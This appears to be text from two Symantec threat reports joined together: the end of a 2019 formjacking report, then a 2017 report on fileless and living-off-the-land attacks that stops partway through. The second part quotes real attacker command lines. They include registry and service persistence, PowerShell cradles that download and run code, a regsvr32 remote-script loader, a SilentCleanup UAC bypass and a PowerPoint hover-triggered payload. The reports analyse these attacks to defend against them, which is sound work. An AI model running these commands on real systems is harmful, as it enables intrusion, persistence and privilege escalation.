personal data from websites. This type of theft can lead to future attacks where
the information is misused, such as logging in with stolen credentials or sending
personalized scam emails like fake invoices with different beneficiary addresses.
For example, in May we observed an U.S. healthcare provider targeted in a
formjacking attack, where log-in credentials were harvested.
Each data breach generates attached costs for affected organizations resulting
from things like customer notification processes and possible fines depending
on the privacy regulations of the country where the affected parties reside. For
example, British Airways, who was hacked in 2018, may face a large fine under
the General Data Protection Regulation (GDPR) and law firms have looked into
opening group actions against the airline over the breach as well.
In addition to the cost of the data breach, there is also a loss of customer trust
and damage to the organization’s brand reputation. This can be especially
devastating for online stores which heavily depend on customer orders. It is difficult to get reliable numbers for how many data records have been
stolen in each case. Only a few companies publish these numbers in their
investigation reports or report it publicly to GDPR officers. British Airways,
with a reported loss of 380,000 records, is probably at the higher end when
it comes to compromised online sellers, as many stores are small or medium-
sized businesses. With 4,818 compromised online stores on average per month
in 2018, we can estimate the potential profit for an attacker. Let us assume an
average of 35 valid payment card numbers are stolen per compromised store
per month, which is a conservative estimate. Stolen payment card numbers are
traded on underground forums for anything from US$0.10 to $45—depending on
the level of accompanying details available, the freshness, and the type of card.
Even assuming a relatively low selling price of $6 per card would result in over
$1 million (=4,818 * 35 * $6) in potential profit per month for all the formjacking
attacks together. Of course, the prices on the underground markets fluctuate and
are influenced by the amount of available goods. Prevalence
Formjacking attacks became very popular in 2018. Although they had a slight
dip in April of 2019, during the first quarter of 2019, we blocked more than
1.5 million formjacking attacks on the endpoint. In May 2019, the number of
detections spiked to an all-time high of over 1.1 million.
Figure 18. Formjacking detections on the endpoint per month
0200K400K600K800K1.0M1.2M
J M A M F J
2019D N O S A J J M A M F J
2018
The number of domains infected with formjacking scripts dropped towards the
end of 2018; however, this does not necessarily mean that the problem is going
away. In most cases the targeted retail store is not directly hosting the malicious
script, but merely loading the remote content from another domain. This one
infected domain can serve multiple compromised online stores. On average we
detected 5,233 domains per month that pointed to infected formjacking sites.
Such redirects are of course also detected and blocked but might be categorized
under malicious redirect or generic website compromise instead of formjacking
attack, as the final payload can be adapted by the attacker each time. It could
also be that the formjacking criminals are becoming more selective in who they
target, in order to maximize their profits. ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
Figure 19. Domains compromised for formjacking per month
Title
01,0002,0003,0004,0005,0006,0007,0008,000
J M A M F J
2019D N O S A J J M A M F J
2018
In 2018, the average time for a formjacking script to remain online was 46 days,
with a standard deviation of 68 days. The longest was online for over 15 months,
which highlights the fact that some scripts are hosted on bulletproof hosting
services, making them difficult to takedown. Fortunately, there are also many
sites where the infection was removed within a few days.
The compromised websites are from all kinds of sectors. In some cases, attacks
on some larger victims may not be reported in the media. For example, in 2019
we have already seen a wide selection of large web stores in multiple industry
sectors being compromised, including: multiple global sports and fashion brands,
luxury hotels, a car manufacturer, a food delicacy seller, a furniture store,
consumer electronics stores, a political party website, a health care provider, a
medical equipment manufacturer, a beauty products vendor, an erotic products
vendor, and newspaper and job posting sites. Unfortunately, not all vendors were
aware of the threat and it often took a lot of effort to persuade them to have their
support team take a look and clean the infections. Figure 20. Number of infected domains per duration of compromise
(logarithmic)
Title
1101001,00010,0001
14
27
40
53
66
79
92
105
118
131
144
157
170
183
196
209
222
235
248
261
274
287
300
313
326
339
352
365
378
DAYS INFECTED
Formjacking attacks are a global phenomenon. We tracked the countries where
users were visiting compromised websites from and found the top ones in 2018
to be the U.S., Belgium, and Australia. However, we can see a change over time.
In the first six months of 2019, users in the U.S. were by far the most exposed to
formjacking attacks with 52 percent of all global attacks, up from 33 percent in
2018.
It should be noted that some local clusters of attacks could be related to a supply
chain attack of a company widely used in a specific region, leading to multiple
websites becoming infected in that region.
Table 3. Top five formjacking detections in 2018 by country
COUNTRY PERCENTAGE OF GLOBAL DETECTIONS
U.S. 33.3%
Belgium 23.6%
Australia 7.5%
UK 5.7%
Turkey 4.4%Table 4. Top five formjacking detections Jan-Jun 2019 by country
COUNTRY PERCENTAGE OF GLOBAL DETECTIONS
U.S. 51.8%
Australia 8.1%
India 5.7%
UK 4.1%
Brazil 3.5%ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
DETECTION
Detecting a formjacking attack in progress is difficult for website visitors. The
SSL certificate, with the frequently mentioned padlock symbol in the browser, is
still present and even the fingerprint is correct, if anyone were to check it. There
isn’t any binary malware downloaded and installed onto the victim’s computer, as
the data theft is happening inside the browser, similar to cryptojacking attacks.
Unless the user’s security solution blocks the injected scripts, they probably
won’t notice the attack, as generally the website will continue to operate as
normal. On smartphones, where web security solutions are still rarely seen, the
chances of discovery are even lower. We have seen formjacking scripts that check
to see if a mobile browser is being used and, if there is, will behave differently as
the attackers know that there is little chance of them being discovered.
As always, accounts and payment cards with two factor authorization enabled
can help limit the damage caused by these attacks. PROTECTION
Symantec has the following protection in place to protect
customers against these attacks:
File-based protection
|Trojan.Malscript
|JS.Redirector
|JS.Downloader
|Infostealer.Jscoffe
|ISB.Downloader
Network-based protection (Intrusion Prevention System)
|Web Attack: Formjacking Website
|Web Attack: Formjacking Website 2
|Web Attack: Formjacking Website 3
|Web Attack: Formjacking Website 4
|Web Attack: Formjacking Website 5
|Web Attack: Formjacking Website 6
|Web Attack: Formjacking Website 7
|Web Attack: Formjacking Website 9
|Web Attack: Formjacking Website 14
|Web Attack: Formjacking Website 15
|Web Attack: Formjacking Website 17
|Web Attack: Formjacking Website 18
|Web Attack: Formjacking Website 19
|Web Attack: Formjacking Website 20 |Web Attack: Formjacking Website 24
|Web Attack: Formjacking Website 25
|Web Attack: Formjacking Website 39
|Web Attack: Formjacking Website 36
|Web Attack: Formjacking Website 37
|Web Attack: Formjacking Website 38
|Web Attack: Formjacking Website 40
|Web Attack: Formjacking Website 42
|Web Attack: Formjacking Website 46
|Web Attack: Formjacking Website 47
|Web Attack: Formjacking Website 51
|Web Attack: Formjacking Website 52
|Web Attack: Formjacking Website 54
|Web Attack: Formjacking Website 55
|Web Attack: Formjacking Website 56
|Web Attack: Formjacking Website 57
In addition to the above detection mechanisms, known bad URLs are added
to our blocklist and shared with our network protection products such as
Symantec’s Web Security Service (WSS).ISTR | AUGUST 2019 Formjacking: An ISTR Special ReportBack to ToC
MITIGATION
Website owners can use several different methods to protect their web presence
from formjacking. A baseline standard should be to harden any server or service
used for hosting the website. This includes scanning local files for any malicious
scripts and implementing change control measures to validate and authorize all
changes—similar to classic defacement prevention. Network products such as
Symantec Web Application Firewall (WAF) can help protect web applications from
getting compromised in the first place.
Website developers can make use of HTTP directives such as HTTP Content-
Security-Policy (CSP) and Subresource Integrity (SRI) to limit where scripts can
be loaded from, where they can send data to, what they can do, and to check
the integrity of remotely loaded scripts. For example, with the policy keyword
script-src the Content-Security-Policy can define a whitelist from where scripts
can be loaded. A WAF can achieve a similar effect by dynamically adding an
integrity attribute similar to the SRI to each resource being loaded. This can block
malicious scripts from being loaded from remote locations. Unfortunately, this
won’t protect against supply chain attacks. Depending on how dynamically the
website content changes, it might be difficult to apply restrictive rules. The same
applies to iframes which can be sandboxed by design. If the attackers gain full
administrative access to the compromised site, they might also be able to change
and adapt the content security policies to their own needs.
Website owners should also be aware of the dangers of software supply chain
attacks, as these have been used as an infection vector in some formjacking
attacks and can be difficult to guard against. One option to protect against
software supply chain attacks can be to host scripts locally, but this might not
always be feasible. The previously mentioned CSP and a verification and update
process can help mitigate the risk. In general, it might be a good idea to remove
any externally loaded third-party scripts from the checkout page if they are not
absolutely needed, or consider moving to an external payment processor. If a company is handling payment card details, it has to follow certain
regulations—for example, the Card Industry Data Security Standard (PCI DSS).
Although these controls are not specific to formjacking attacks and focus on the
processing and storing of payment card data, they can still help minimize the risk.
PCI DSS also includes requirements such as vulnerability management, strong
authentication, and regular audits.
Some website owners regularly crawl their own websites with an automated
framework, like PhantomJS, and simulate user behavior including test purchases.
This allows them to track interactions and monitor for suspicious activity, such
as if any resources are loaded from new domains. Depending on the software
used for the automation and the IP address of the system there is a risk that
the attackers might detect the framework and change their payload’s behavior.
However, this would definitely raise the bar and, so far, we have seen no
indication that suggests cyber criminals are monitoring for this type of
automated testing. Future of formjacking
Formjacking, or Magecart, attacks are increasing in volume. The reason for this
is twofold: they are difficult to detect for end users and can be very lucrative
for cyber criminals. In addition, the attacks are quite simple to conduct, and the
injected malicious JavaScript is not difficult to create. Scripts are increasingly
becoming more complex and obfuscated in order to avoid detection. This all
means that for end users it is difficult to detect a formjacking attack without
assistance from security software as all the regular security indicators, such as
the SSL padlock, are still intact.
We expect this formjacking trend to continue and expand further to steal all kinds
of data from web forms, not just payment card data. This also means that we are
likely to see more software supply chain attacks. Unfortunately, formjacking is
showing no signs of disappearing any time soon. Therefore, operators of online
stores need to be aware of the risk and protect their online presence.
|
Internet Security Threat ReportISTR
July 2017
Contents
Executive summary,
key findings, and
introduction
Living off the landDefining fileless
attack methodsPrevalence of
dual-use toolsDual-use tools
in targeted attacksConclusionLiving off the land
and fileless attack
techniques
An ISTR Special Report
Analyst: Candid Wueest
Contributor: Himanshu AnandInternet Security Threat Report
Contents
3 Executive summary, key findings, and
introduction
6 Living off the land
9 Defining fileless attack methods
10 Memory only attacks
10 Fileless persistence methods
11 Windows registry
12 Windows Management Instrumentation
12 Group Policy Objects
13 Scheduled task
13 Call back on shutdown
13 Infect existing files
13 Non-PE file attacks
15 Dual-use tools
16 Example: Ransom.Petya
17 System configuration
17 Hardware assisted attacks
18 Prevalence of dual-use tools
21 Dual-use tools in targeted attacks
25 Conclusion
28 Best Practice
29 About Symantec
29 More InformationFigures and Tables
8 Figure 1. Typical living off the land attack chain
11 Figure 2. Poweliks load process
12 Figure 3. JScript inside malicious SCT file
12 Figure 4. WMI consumer that starts PowerShell
14 Figure 5. Word document with embedded malware
14 Figure 6. Top 7 malicious file types seen
in email, January-May 2017
15 Figure 7. Monthly detections of script downloaders
16 Table 1. Dual-use tools, grouped by purpose
19 Table 2. Usage of dual-use tools, January 2017
20 Figure 8. PsExec and Mimikatz plus WCE usage
20 Figure 9. Usage of dual-use tools in 2017
20 Figure 10. Percentage of malware using WMI
22 Table 3. Some of the typical tools used by attack groups
23 Table 4. Examples of system tools used for information gathering
24 Table 5. List of dual-use tools used by the Odinaff attack groupInternet Security Threat Report
Executive summary,
key findings, and
introduction
00SectionExecutive Summary,
Key Findings, IntroductionBack to Table of ContentsPage 4
Living off the land and
fileless attack techniques
July 2017 00
Executive summary
“Living off the land” is one clear trend in targeted
cyber attacks at the moment. Attackers are increasingly making use of tools already installed
on targeted computers or are running simple scripts
and shellcode directly in memory. Creating less new files on the hard disk means less chance of being detected by traditional security tools and therefore
minimizes the risk of an attack being blocked.
Malicious scripts are hidden inside the registry or Windows
Management Instrumentation (WMI) in order to achieve a
stealthy fileless persistence method on a compromised computer.
System and dual-use tools are frequently used in order to gather information about a freshly compromised system.
These tools have also been used during lateral movement or
to exfiltrate stolen data. This activity blends in with normal system administration work.
Attackers are reverting back to these simple but proven
methods, as it is getting more cost intensive to find reliably
exploitable vulnerabilities. Often a spear-phishing attack with some social engineering can be just as successful at achieving
the attackers’ goals.
The four main categories of living off the land and fileless
attack techniques are: memory-only threats, fileless persistence, dual-use tools, and non-PE file attacks.
Cyber criminals are adopting these tactics to spread threats
like ransomware and financial Trojans but nation-state targeted
attack groups also make use of them. Recent attacks by the Calicum/Fin7 group against restaurants in the U.S. has shown
how effective these tactics can be. Symantec expects the trend
of living off the land and fileless threats to continue to grow.Key findings
|Dual-use tools are ubiquitous, which means an attacker
can hide in plain sight
|Attackers revert to simple methods, as finding exploitable
zero-day vulnerabilities is getting more difficult
|The use of off-the-shelf tools and cloud services makes it
difficult to determine intent and attribution of an attack
|The four categories of living off the land threats are
memory-only threats, fileless persistence, dual-use tools,
and non-PE file attacks
|The most common dual-use tool in 2017 was sc.exe,
observed on 2.7 percent of monitored systems
|Two percent of all malware submitted to our sandbox in
2016 misused WMI
|Remote administration tools, such as VNC, were used on
2.1 percent of all monitored computers
|Stealing credentials and using them for lateral movement
is very common
|Macros are not always needed in order to execute an
embedded malicious payload from a document
|Living off the land and fileless attacks are commonly used
by targeted attack groups
|10 out of 10 analyzed targeted attack groups used system
tools as well as custom built tools
|Pure application whitelisting will not prevent the misuse
of dual-use tools
|Embedding malicious scripts in the registry is the most
common fileless persistence method, seen on around 5,000 computers per day
|Targeted attack groups are becoming less concerned about
load points and persistence
|So far in 2017 we have blocked around 4,000 Trojan.Kotver
attacks per day on endpoints
|Legitimate cloud services are used to exfiltrate stolen data Executive Summary,
Key Findings, IntroductionBack to Table of ContentsPage 5
Living off the land and
fileless attack techniques
July 2017 00
Introduction
There has been a growing interest in fileless infection techniques over the
past few years. Fileless malware is not a new concept. For example, the Code Red worm, which first appeared in 2001, resided solely in memory
and did not write any files to disk. In 2014 there was yet another spike
of fileless attacks, this time with fileless persistence methods used by threats such as Trojan.Poweliks which resides completely in the registry.
We have observed an increase in attackers utilizing living off the land tactics, where they use
whatever tools are already installed on the targeted system. They try to drop as few files as possible
in order to avoid detection. Only using clean system tools, and not having a malicious binary file
on disk that could be scanned, means that some traditional security measures will not be able to detect and block the attack. Hence, a comprehensive protection strategy is needed to defend
against these attacks. Memory only attacks are also more difficult to analyze forensically in the
aftermath of a breach. Some attackers are using anti-forensic tools, like the simple sdelete.exe, to wipe any files that are dropped. In these cases only newer endpoint detection and response (EDR)
solutions will be able to record any traces of the attack.
Hiding malware on the hard disk has always been a goal of attackers as the less artifacts present,
the less that can be detected. In the past we have seen obfuscated file infectors, the use of alternative data stream (ADS) on NTFS or inside RAR files, and even the new WofCompressed
streams in Windows 10 being used to hide files from forensic analysis.
Unfortunately it is not difficult to conduct fileless attacks. Frameworks like Metasploit provide
many fileless infection options, such as reflective DLL injection. Msfvenom, a part of the Metasploit framework, is a standalone tool that can generate different payloads, and it also supports script
outputs like PowerShell. Dedicated PowerShell tools such as Nishang and Powersploit also
contribute to the wide distribution of script based and fileless attacks.
As there is a bit of a confusion on what is meant by living off the land and fileless attacks,
we will explain the terms with recent examples.Internet Security Threat Report
Living off the land
01SectionLiving off the landBack to Table of ContentsPage 7
01Living off the land and
fileless attack techniques
July 2017
Living off the land
The techniques used by attackers have shown one
clearly visible trend over the last number of years: the so called living off the land approach has gained
in popularity. Attackers using this approach use
trusted off-the-shelf and preinstalled system tools to conduct their attacks. Many of these tools are ubiquitous and used by system administrators for
legitimate work. This makes it harder for defenders
to completely block access to these programs and allows the attackers to hide in plain sight. Even when log files are generated it can be difficult to spot
anomalies. The use of system tools and common
cloud services for data exfiltration does not often ring alarm bells. Even in the event that an attack is
discovered, the living off the land approach makes
it difficult to attribute the attack to a specific attack group as all groups use similar techniques and tools.
Furthermore, with the increase in usage of anti-exploitation
features such as data execution prevention (DEP), address space
layout randomization (ASLR), control-flow integrity (CFI), and
Anti-ROP, it has become harder for attackers to find new reliably exploitable vulnerabilities. As it takes longer to find exploits, it
makes them more expensive to use. Hence many attackers revert
back to simple and proven methods such as spear-phishing emails and social engineering, where no exploits are needed.
Using just pre-existing system tools and a handful of clean off-the
shelf applications is enough to conduct extremely damaging
activities, including stealing sensitive data, crippling computers, or allowing remote access. The resulting attacks are simple but
nevertheless successful and devastating.
Similar attack methods are quite common on Unix systems, where
most of the work is done by command line tools. Python, Perl, or Bash scripts, together with system binaries, can provide all the
functionality that an attacker needs on a Unix computer. However,
the focus for this paper is on Windows systems.Definitions
We will refer to living off the land if only pre-installed software is used and no additional binary executables are installed onto the
system by the attacker.
Documents with macros, VB scripts, PowerShell scripts, or the
use of system commands, such as netsh commands, all fall under the living off the land specification. The same is true for memory
only shellcode dropped by an exploit, which does not write any
files on disk, and attackers brute forcing the password for Remote Desktop Protocol (RDP) access.
When dual-use tools, especially tools such as Mimikatz or Pwdump,
are downloaded it will not be referred to as living off the land but
rather as the utilization of dual-use tools.
The typical attack chain using the living off the land method:
Incursion
This could be achieved by exploiting a remote code execution (RCE)
vulnerability to run shell code directly in memory. More commonly it is an email with a malicious script inside a document or hidden
in another host file such as a LNK file. The threat may implement
multiple stages with downloader or self-decrypting parts, each of which might follow living off the land techniques again. Another
method is misusing system tools by simply logging in with a stolen
or guessed password.
Persistence
Once the computer is compromised, stage two may or may not be
fileless in regards to the persistence method. The threat may also not to be persistent at all, depending on what the end goal is for
the attacker.
Payload
The payload of the threat often makes use of dual-use tools.Living off the landBack to Table of ContentsPage 8
01Living off the land and
fileless attack techniques
July 2017
Exploit in memory
e.g. SMB EternalBlue
Email with Non-PE file e.g. Document macro
Weak or stolen credentialse.g. RDP password guessRemote script dropper e.g. LNK with Powershell from cloud storageINCURSION
Non-persistent
Memory only malwaree.g. SQL slammer
Regular non-fileless methodPersistent
Fileless persistence Loadpoint e.g. JScript in registryPERSISTENCE
Memory only payloade.g. Mirai DDoS
Non-PE file payloade.g. PowerShell script
Regular non-fileless payloadDual-use toolse.g. netsh PsExec.exePAYLOADTypical living off the land attack chain
This could be achieved by exploiting a remote code execution (RCE) vulnerability
to run shell code directly in memory.
More commonly it is an email with a malicious script inside a document or hidden in another host file such as a LNK file. The threat may implement multiple stages with downloader or self-decrypt-ing parts, each of which might follow living off the land techniques again. Another method is misusing system tools by simply logging in with a stolen or guessed password.Once the computer is compromised,
stage two may or may not be fileless in
regards to the persistence method. The
threat may also not to be persistent at all, depending on what the end goal is for the attacker.The payload of the threat often makes use of dual-use tools.
1. 2. 3.
Figure 1. Typical living off the land attack chainInternet Security Threat Report
Defining fileless
attack methods
02SectionDefining fileless attack methodsBack to Table of ContentsPage 10
02Living off the land and
fileless attack techniques
July 2017
Defining fileless attack methods
When talking about living off the land people
often also talk about fileless attacks and there are various aspects which are often mixed up or
used in the wrong context. Some people mean
non-portable-executable (non-PE) files such as scripts, some talk about fileless load points in the registry, and for others fileless attacks are
memory only threats like SQL Slammer . Strictly
speaking not all of these threats are fileless, as
the Windows registry is also stored on disk and some threats may create temporary files.
Sometimes fileless attacks are referred to as non-malware or
malware-free attacks; for example when only dual-use tools are
used and no malware binary is dropped. Of course this is not
really fileless either, as a file is involved, namely one or more benign system tools. The point is that such attacks do not drop a
custom built malware binary but they may drop greyware tools or
scripts. You could also call these attacks asymptomatic, as they do not exhibit the usual symptoms people would expect from an
infection, like a malicious file on disk.
As you can see, not all of these attack techniques can be classified
as living off the land. Many attacks use at least one file at some stage and are therefore falsely referred to as fileless. It could
be that an attack started off with a dropper malware but then
removed its files at a later stage. Hence, after the initial infection took place no new binary executables are left on disk. In light of
clear communication we will refer to this as an attack that uses a
fileless attack technique during one part of the attack wave.
For easier understanding and clarity of meaning, we will distin-
guish and discuss the following categories:
|Memory only threats, such as SQL Slammer
|Fileless persistence, such as VBS in the registry
|Dual-use tools, such as psExec.exe, which are
used by the attacker
|Non-PE file attacks, such as Office documents
with macros or scripts
Memory only attacks
Code Red in 2001 was the first widespread memory only worm. Later in 2003 came the SQL Slammer worm. Both worms exploited
vulnerabilities in services in Windows in order to execute their
payload directly in memory, making them examples of true fileless attacks. A more recent example was the EternalBlue exploit used
to deploy the DoublePulsar backdoor, both of which were used by
the WannaCry ransomware. Whenever the attackers are exploit-ing remote code execution vulnerabilities, there is a high chance
that the shellcode can load the payload directly into memory and
run it from there without dropping any files. Of course we have also observed this behavior in web attack toolkits. For example,
the popular Angler exploit kit was seen in 2014 executing Trojan.
Snifula directly from memory. The shellcode loads the binary payload into memory and runs it, without writing it to disk.
These infections are not persistent by themselves and a restart will
disinfect the computer. But we have noticed that many attackers
do not care about persistence anymore. Simple worms like the Mirai bot, which compromised IoT devices, know that a system
cleaned through a restart will soon be re-infected again if it does
not get patched. Targeted attack groups on the other hand know that core servers are not frequently restarted, which gives them
plenty of time to find whatever they are looking for without leaving
any traces in load points on disk.
In attacks without shellcode execution, PowerShell can be used
to download a payload directly to memory with the WebClient.
DownloadString method and run another script command or use
reflective load on a DLL from memory to load common malware. However, this requires a malicious script to be run first somehow
or that the credentials are known and remote PowerShell invoca-
tion is enabled.
Symantec realized shortly after the Code Red worm that memory
only malware had huge potential for use in dangerous attacks and
would become more common. In order to protect our customers from
such attacks we implemented various proactive techniques into our software over the years, from heuristic based memory scanning to
memory exploit mitigation (MEM) techniques like anti-ROP.
Fileless persistence methods
There are various methods available to attackers that allow them
to gain a persistent foothold on a Windows computer without
dropping the malicious payload directly onto disk. This usually
requires that malicious code is already running on the compro-mised computer in the post-infection phase. Depending on how
the incursion is achieved, it might involve a file for that early stage.
Regardless of this, it is possible to detect and block the incursion
and prevent any load points from being created at all.
The attacker’s goal is to make detection on the compromised
system as difficult as possible for the defender. With a plentitude of available features there are many ways to have fileless load points
within Windows. We only mention the most commonly observed
methods but others such as Bitsadmin, AT, or COM object hijacking Defining fileless attack methodsBack to Table of ContentsPage 11
02Living off the land and
fileless attack techniques
July 2017
should be kept in mind as well. Of course similar behavior can be
done on other operating systems like, for example, with a simple
cron job on a Unix system. The following are the most common
methods observed in the wild.
Windows registry
The most popular fileless load point mechanism is storing a
malicious script in the Windows registry. Trojan.Poweliks evolved into such a registry based threat in 2014, making heavy use of
this method. Later Trojan.Kotver and Trojan.Bedep utilized the
same method extensively. After that more attackers started to use this method for their load points. So far in 2017 we have blocked
around 4,000 Trojan.Kotver attacks per day on endpoints.
Poweliks uses the registry for persistence and achieves this
through the use of embedded JavaScript. Normally, malware will place an entry in the registry run subkey that points to a malicious
executable, which is then executed when the system starts. In
the case of Powelikes the complete malware is contained in the registry and extracted and run on the fly. In addition to this,
Poweliks creates a registry run key with a non-ASCII character
as a name. This prevents normal tools from being able to display this value, adding additional obfuscation. The threat also modifies
access rights, making the key difficult to remove. The content is
spread over multiple keys and obfuscated so that each infection will have a different value blob. This is sometimes referred to as
registry resident malware.
The main content of the Poweliks registry run key is a call to
rundll32 with a specially crafted argument.
A normal call to rundll32 takes in the following arguments:
RUNDLL32.EXE <dll name>,<entry point> <optional
arguments>
The value used by the threat looks like this:
rundll32.exe javascript:”\..\
mshtml,RunHTMLApplication “;alert(‘payload’);
The malicious registry key references rundll32.exe which will in turn use LoadLibrary to load mshtml.dll after several tries to load
other combinations of the arguments. It then starts RunHTMLAp-plication as the entry point, as specified in the arguments. This in
turn will search for the protocol handler for JavaScript as it takes
the full command line as an argument. As the first part after the JavaScript statement is a string in double quotes, it will be ignored
and the actual payload after the “;” will be executed with whatever
application is registered to handle JavaScript. This script can then load the actual payload from another registry key and decrypt
it. Often the script will create a new ActiveX object so that it can
make use of all the extended functionality. In the case of Poweliks the second part is a PowerShell script which will then load the DLL
which is also stored as an encrypted string in the registry.Figure 2. Poweliks load process
Symantec has multiple behavior detection patterns focused on
fileless load point methods. For the method of loading scripts from
a registry we saw nearly 100,000 detections from January to May
2017 (SONAR.Kotver!gen4). This shows that this is indeed the most common method used by attackers at the moment.
The same principle applies to services which are defined in the
registry as well. An attacker can either manually add it to the
registry or use the sc.exe command line tool to create the service. An example could look like this:
sc create Payloadservice binpath= “C:\Windows\
system32\cmd.exe /c start /b /min powershell.exe
-nop -w hidden [REMOVED]” start= auto
In the summer of 2016, Trojan.Kotver added yet another layer of obfuscation into the registry persistence method. During the
first infection the threat creates a new file extension handle,
for example .abcdef1234, and then registers it in the Windows registry under the following key:
\Software\Classes\.abcdef1234
The relevant default value then points to the corresponding \shell\open\command registry key, which contains the already known
malicious script triggered by rundll32 and mshta.
Now every time a file with the extension .abcdef1234 is run, the
Kotver script will be executed instead. In order to achieve the trigger the threat creates several garbage files with this extension
and references them in a shortcut (.lnk) file dropped in the startup
folder and in a batch file listed in a registry run key. The garbage Defining fileless attack methodsBack to Table of ContentsPage 12
02Living off the land and
fileless attack techniques
July 2017
files are not malicious, they just act as trigger mechanisms.
Changing the shell open command for a specific file extension has
been used by various Trojans before but not in combination with
the embedded script payload.
In June 2017, we saw another wave of the popular Downloader.
Dromedan dropper, resulting in around 40,000 detections on the
endpoint per day. After a successful infection the threat will create
a registry run key with the name COM+ and the following value:
regsvr32 /s /n /u /i:%REMOTE_MALICIOUS_SCT_SCRIPT% scrobj.dll
This regsvr32 command downloads the remote SCT file when
the computer starts and runs the embedded obfuscated JScript
directly from memory.
Figure 3. JScript inside malicious SCT file
The JScript verifies that PowerShell and .Net are installed and then uses WMI to start a PowerShell command. This command in
turn will download an encrypted DLL into memory and use the
common PowerShell reflective DLL loader code to execute it.
powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::
ServerCertificateValidationCallback = { $true
}; iex ((New-Object System.Net.WebClient).DownloadString(‘[REMOVED]’))
The now in-memory running DLL payload will create another
PowerShell script, encode it and store it together with the DLL in a
registry key and then add a PowerShell command line to another registry run key. This way the encrypted DLL can be decoded and
run every time Windows starts.
powershell.exe -WindowStyle hidden
-NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.
GetString([Convert]::FromBase64String((gp ‘HKCU:\
Software\Classes\HNKINZHBHZCOBE’).ZUEMAUZYQQBL)));Windows Management InstrumentationThe Windows Management Instrumentation (WMI) provides a
multitude of administrative capabilities for local and remote
systems. It can be used to query system settings, stop processes, and locally or remotely execute scripts. Interaction is possible
through the command line tool wmic.exe or through PowerShell and
other scripts which have a wide integration. The WMI data is stored encoded in several files across the %System%\wbem\repository.
An attacker can create a filter for a specific event and create a
consumer method to trigger the malicious script on these events.
Such an event can be something simple such as a given time of the day, similar to a cron job on Unix. For this, three essential
WMI classes are needed: the filter, consumer, and a FilterToCon-
sumerBinding linking them both together. The payload that is executed is typically a PowerShell script and, like storing scripts in
the registry, it is possible to store the complete payload in the WMI
repository. This method was used by the Cozyduke attack group.
For more on WMI threats, read this informative BlackHat research
paper by Graeber.
Figure 4. WMI consumer that starts PowerShell
Group Policy ObjectsWindows Group Policy Objects (GPOs) can be used to add a load
point for a backdoor. For example, they can be used to create a
registry run key with a PowerShell script as the value. Given the right permissions on the system it can be created from the
command line. An easier method is to use tools like the PowerShell
Empire framework, which has this persistence method built in as a module and can create either new GPOs or modify existing policies.
Since GPOs are rarely used on home computers, we have not yet
seen a wide spread cyber crime campaign using this feature.Defining fileless attack methodsBack to Table of ContentsPage 13
02Living off the land and
fileless attack techniques
July 2017
Scheduled task
A new scheduled task can be created that will execute a command
at specific trigger moments on a local or remote system. For
example, a PowerShell download command can be triggered with the following command line:
schtasks /create /tn Trojan /tr “powershell.exe
-WindowStyle hidden -NoLogo -NonInteractive -ep
bypass -nop -c ‘IEX ((new-object net.webclient).downloadstring(‘’[REMOVED]’’))’” /sc ONLOGON /ru
System
Scheduled tasks can also be used to bypass User Account Control
(UAC) and escalate privileges, when misusing system actions
such as SilentCleanup for example. As this command is marked
with auto-elevating, it will run with elevated privileges without
prompting the user through UAC. The key is that it uses a user controlled environment variable as part of the path, which can be
manipulated. As an example, an elevated shell can be achieved
with the following two commands, first setting up the environ-ment variable and then running the task:
reg add HKCU\Environment /v windir /d “cmd /K reg
delete hkcu\Environment /v windir /f && REM “
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\
SilentCleanup /I
Call back on shutdown
Call back on shutdown is another simple method which we have
seen used a few times, although it is not permanently fileless.
Some variants of Dridex create a normal registry run key load point and store the malware file on disk. At startup the malware
loads to memory and then removes the registry entry and deletes
the malware file on disk. From this point on the malware is only in memory and therefore fileless. The threat monitors the shutdown
command. When a shutdown is initiated the threat will write itself
back to disk under a new name and create a new registry run key linking to it. This ensures that it will survive following the next
restart. This method minimizes the exposure of the file on disk.
Infect existing files
Strictly speaking this is not a fileless method but it is mentioned
here for completeness. With this method the attacker does not
drop any additional files but instead modifies existing files on disk.
The most obvious technique is to infect or replace files in the
startup folder or files that are already loaded by other persistence
methods. This was a common method used in the days when file
infectors were widespread. In corporate environments, where PowerShell is used, an attacker can place malicious code in any of the six available PowerShell
profiles, if they are present. The injected code will then be executed
each time PowerShell starts and loads the infected profile. In order to trigger the infected profile a benign PowerShell script can be
placed in any of the previously discussed load points (similar to
Trojan.Kotver and the new registered file extension .abcdef1234 discussed earlier).
In a similar fashion, attackers can infect browser files. For
example, the Mozilla Firefox browser stores core files in the omni.
ja archive file. An attacker can add his own JavaScript payload in there without raising any alarms as this file is not signed or
checked. The context of the script even allows for full XPCOM
scripts that could create a complete backdoor inside the browser. We discussed similar behavior being used by adware in 2009.
Recent campaigns from Waterbug /Turla show that targeted attack
groups are keeping an eye on the browser as well. Although in that particular case the attackers used a Firefox extension, a method
which will be ineffective following the release of Firefox 57.
Non-PE file attacks
A non-portable executable (non-PE) file attack generally involves
some kind of script and a legitimate tool. Hence it is intrinsically a
subclass of dual-use tool attacks, where the host system tool is a
very powerful scripting framework (PowerShell, WScript, CScript). Consequently script attacks are not file-less, as there is a script
file involved, which can be detected. However, due to the nature
of scripts, such files can be easily obfuscated and are difficult to detect with static signatures alone.
Since the field of script attacks is so large, we will discuss it as its
own class. For some of the scripts the required processing tool is
installed by default, such as for JavaScript and PowerShell, while for others such as Word macros the Microsoft Word needs to be
installed in order for the payload to work. Typically the Office
document or PDF file contains the script code and it is triggered once the document is viewed. The document can also contain the
full binary as an embedded object and ask the user to double click
it. On a default configuration this will generate a warning message, but the user could be convinced with social engineering to ignore
the warning.Defining fileless attack methodsBack to Table of ContentsPage 14
02Living off the land and
fileless attack techniques
July 2017
Figure 5. Word document with embedded malware
Office documents do not always need macros in order to start
scripts. A recently discovered PowerPoint file ( Trojan.PPDropper)
triggers a malicious PowerShell script once the user hovers over a link. The three key elements of the link were as follows:
action=”ppaction://program”
Target = “powershell%20-NoP%20-NonI%20
-W%20Hidden%20-Exec%20Bypass%20%22IEX%20
(New-Object%20System.Net.WebClient).
DownloadFile([REMOVED]%5C%22%24env%3Atemp%5Cii.jse%5C%22)%3B%20Invoke-Item%20
%5C%22%24env%3Atemp%5Cii.jse%5C%22%22”
TargetMode=”External”
